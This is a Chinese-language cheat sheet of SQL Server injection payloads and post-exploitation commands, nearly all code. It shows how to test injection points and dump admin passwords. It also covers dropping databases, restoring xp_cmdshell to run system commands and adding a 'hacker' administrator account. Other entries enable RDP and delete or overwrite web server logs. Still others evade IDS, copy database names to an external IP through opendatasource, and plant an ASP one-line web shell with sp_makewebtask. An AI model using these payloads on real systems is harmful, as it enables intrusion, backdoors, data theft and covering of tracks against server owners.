and exists (select * from sysobjects) //判斷是否是MSSQL
and exists(select * from tableName) //判斷某表是否存在..tableName為表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //當(dāng)前數(shù)據(jù)庫(kù)名
and 1=(select @@servername) //本地服務(wù)名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統(tǒng)管理員
and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫(kù)權(quán)限
and 1= (Select HAS_DBACCESS('master')) //判斷是否有庫(kù)讀取權(quán)限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴庫(kù)名DBID為1,2,3....
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判斷XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread擴(kuò)展存儲(chǔ)過(guò)程是不是已經(jīng)被刪除
添加和刪除一個(gè)SA權(quán)限的用戶test:(需要SA權(quán)限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某個(gè)服務(wù)。 (需要SA權(quán)限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
暴網(wǎng)站目錄
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMControlSet001ServicesW3SVCParametersVirtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
DOS下開(kāi)3389 并修改端口號(hào)
sc config termservice start= auto
net start termservice
//允許外連
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f
//該3389端口到80
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f
SQL Server
判斷是否可注射:
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
http://www.targer.com/article.asp?action=value' and 1=1
http://www.targer.com/article.asp?action=value' and 1=2
searchpoints%' and 1=1
searchpoints%' and 1=2
確定數(shù)據(jù)庫(kù)類型:
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0
查詢當(dāng)前用戶數(shù)據(jù)信息:
article.asp?id=6 having 1=1--
暴當(dāng)前表中的列:
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴數(shù)據(jù)庫(kù)數(shù)據(jù):
and (select top 1 password from admin where id=N)>1
修改數(shù)據(jù)庫(kù)中的數(shù)據(jù):
;update admin set password='oooooo' where username='xxx'
增添數(shù)據(jù)庫(kù)中的數(shù)據(jù):
;insert into admin values (xxx,oooooo)--
刪數(shù)據(jù)庫(kù):
;drop database webdata
獲取當(dāng)前數(shù)據(jù)庫(kù)用戶名:and user>0
獲取當(dāng)前數(shù)據(jù)庫(kù)名:and db_name()>0
獲取數(shù)據(jù)庫(kù)版本:and (select @@version)>0
判斷是否支持多句查詢:;declare @a int--
判斷是否支持子查詢:and (select count(1) from [sysobjects])>=0
數(shù)據(jù)庫(kù)的擴(kuò)展存儲(chǔ)過(guò)程:exec master..xp_cmdshell
查看服務(wù)器C盤目錄:;exec_master..xp_cmdshell 'dir c:'
判斷擴(kuò)展存儲(chǔ)過(guò)程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢復(fù)擴(kuò)展存儲(chǔ)過(guò)程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
刪除擴(kuò)展存儲(chǔ)過(guò)程:;exec sp_dropextendedproc 'xp_cmdshell'
在MSSQL2000中提供了一些函數(shù)用于訪問(wèn)OLE對(duì)象間接獲取權(quán)限:
;declare @s int
;exec sp_oacreat 'wscript.shell',@s
;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:'
判斷當(dāng)前數(shù)據(jù)庫(kù)用戶名是否擁有比較高的權(quán)限:
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
判斷當(dāng)前數(shù)據(jù)庫(kù)用戶名是否為DB_OWNER:
and 1=(select is_member('db_owner'))
在SQLSERVER的master.dbo.sysdatabases表中存放著SQLSERVER數(shù)據(jù)庫(kù)系統(tǒng)中的所有數(shù)據(jù)庫(kù)信息,只需要PUBLIC權(quán)限就可以對(duì)此表進(jìn)行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
刪除日志記錄:
;exec master.dbo.xp_cmdshell 'del c:winntsystem32logfilesw3svc5ex070606.log >c: emp.txt'
替換日志記錄:
;exec master.dbo.xp_cmdshell 'copy c:winntsystem32logfilesw3svc5ex070404.log c:winntsystem32logfilesw3svc5ex070606.log >c: emp.txt'
獲取WEB路徑:
;declare @shell int
;exec master..sp_oamethod 'wscript.shell',@shell out
;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell 'dir /s d:/index.asp'
顯示服務(wù)器網(wǎng)站配置信息命令:
cmd /c cscript.exe c:inetpubadminscriptadsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:inetpubadminscriptadsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC權(quán)限讀取:
;exec master.dbo.xp_regread
hkey_local_machine,
'systemcurrentcontrolsetservicesw3svcparametersirtual roots'
'/'
SQLSERVER下的高級(jí)技術(shù)可以參考閱讀曾云好所著的精通腳本黑客第五章。
3、DSqlHelper
檢測(cè)權(quán)限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
檢測(cè)XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')
檢測(cè)XP_REGREAD(注冊(cè)表讀取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
檢測(cè)SP_MAKEWEBTASK(備份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
檢測(cè)SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')
檢測(cè)XP_SUBDIRS讀子目錄:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')
檢測(cè)XP_DIRTREE讀子目錄:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')
修改內(nèi)容:
; UPDATE 表名 set 字段=內(nèi)容 where 1=1
XP_CMDSHELL檢測(cè):
;exec master..xp_cmdshell 'dir c:'
修復(fù)XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
用XP_CMDSHELL添加用戶hacker:
;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用戶hacker加到ADMIN組:
;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
創(chuàng)建表test:
;create table [dbo].[test] ([dstr][char](255));
檢測(cè)表段test:
and exists (select * from test)
讀取WEB的位置(讀注冊(cè)表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMControlSet001ServicesW3SVCParametersVirtual Roots', '/',@result output insert into test (dstr) values(@result);--
爆出WEB的絕對(duì)路徑(顯錯(cuò)模式):
and 1=(select count(*) from test where dstr > 1)
刪除表test:
;drop table test;--
創(chuàng)建查看目錄的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目錄的內(nèi)容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree 'c:'
爆目錄的內(nèi)容dirs:
and 0<>(select top 1 paths from dirs)
備份數(shù)據(jù)庫(kù)DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:inetpubwwwrootdown.bak';--
刪除表dirs:
;drop table dirs;--
創(chuàng)建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
把驅(qū)動(dòng)盤列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;--
刪除表temp:
;delete from temp;--
創(chuàng)建表dirs:
;create table dirs(paths varchar(100), id int);--
獲得子目錄列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs 'c:';--
爆出內(nèi)容(顯錯(cuò)模式):
and 0<>(select top 1 paths from dirs)
刪除表dirs:
;delete from dirs;--
創(chuàng)建表dirs:
;create table dirs(paths varchar(100), id int)--
用XP_CMDSHELL查看目錄內(nèi)容:
;insert dirs exec master..xp_cmdshell 'dir c:'
刪除表dirs:
;delete from dirs;--
檢測(cè)SP_OAcreate(執(zhí)行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')
SP_OAcreate執(zhí)行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:windowssystem32cmd.exe /c net user hacker 123456 /add'
SP_OAcreate建目錄:
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:windowssystem32cmd.exe /c md E:XkCmsVwebFormI1'
創(chuàng)建一個(gè)虛擬目錄E盤:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:inetpubwwwrootmkwebdir.vbs -w "默認(rèn) Web 站點(diǎn)" -v "e","e:"'
設(shè)置虛擬目錄E為可讀:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse'
啟動(dòng)SERVER服務(wù):
;exec master..xp_servicecontrol 'start', 'server'
繞過(guò)IDS檢測(cè)XP_CMDSHELL:
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:'
開(kāi)啟遠(yuǎn)程數(shù)據(jù)庫(kù)1:
; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
開(kāi)啟遠(yuǎn)程數(shù)據(jù)庫(kù)2:
;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
//看看是什么權(quán)限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
//檢測(cè)是否有讀取某數(shù)據(jù)庫(kù)的權(quán)限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
數(shù)字類型
and char(124)%2Buser%2Bchar(124)=0
字符類型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索類型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用戶名
and user>0
' and user>0 and ''='
檢測(cè)是否為SA權(quán)限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
檢測(cè)是不是MSSQL數(shù)據(jù)庫(kù)
and exists (select * from sysobjects);--
檢測(cè)是否支持多行
;declare @d int;--
恢復(fù) xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------
// 執(zhí)行命令
//-----------------------
首先開(kāi)啟沙盤模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet.0Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:winntsystem32iasias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
執(zhí)行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe /c net user paf pafpaf /add';--
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:I1'
判斷xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
寫注冊(cè)表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet.0Engines','SandBoxMode','REG_DWORD',1
REG_SZ
讀注冊(cè)表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon','Userinit'
讀取目錄內(nèi)容
exec master..xp_dirtree 'c:winntsystem32',1,1
數(shù)據(jù)庫(kù)備份
backup database pubs to disk = 'c:S.bak'
//爆出長(zhǎng)度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
添加和刪除一個(gè)SA權(quán)限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
刪除擴(kuò)展存儲(chǔ)過(guò)過(guò)程xp_cmdshell的語(yǔ)句:
exec sp_dropextendedproc 'xp_cmdshell'
添加擴(kuò)展存儲(chǔ)過(guò)過(guò)程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:winntsystem32sqllog.dll'
GRANT exec On xp_proxiedadata TO public
停掉或激活某個(gè)服務(wù)。
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
dbo.xp_subdirs
只列某個(gè)目錄下的子目錄。
xp_getfiledetails 'C:InetpubwwwrootSQLInjectlogin.asp'
dbo.xp_makecab
將目標(biāo)多個(gè)檔案壓縮到某個(gè)目標(biāo)檔案之內(nèi)。
所有要壓縮的檔案都可以接在參數(shù)列的最后方,以逗號(hào)隔開(kāi)。
dbo.xp_makecab
'c: est.cab','mszip',1,
'C:InetpubwwwrootSQLInjectlogin.asp',
'C:InetpubwwwrootSQLInjectsecurelogin.asp'
xp_terminate_process
停掉某個(gè)執(zhí)行中的程序,但賦予的參數(shù)是 Process ID。
利用”工作管理員”,透過(guò)選單「檢視」-「選擇字段」勾選 pid,就可以看到每個(gè)執(zhí)行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
解開(kāi)壓縮檔。
xp_unpackcab 'c: est.cab','c: emp',1
某機(jī),安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒(méi)有辦法使用regedit /e 導(dǎo)入注冊(cè)文件,但是mssql是sa權(quán)限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin2.0ServerParameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin2.0ServerParameters','port','REG_BINARY',0xd20400 則端口值改為1234
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
//得到數(shù)據(jù)庫(kù)名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
//在Master中創(chuàng)建表,看看權(quán)限怎樣
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
用 sp_makewebtask直接在web目錄里寫入一句話?cǎi)R:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:www t88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表內(nèi)容
Update films SET kind = 'Dramatic' Where id = 123
//刪除內(nèi)容
delete from table_name where Stockid = 3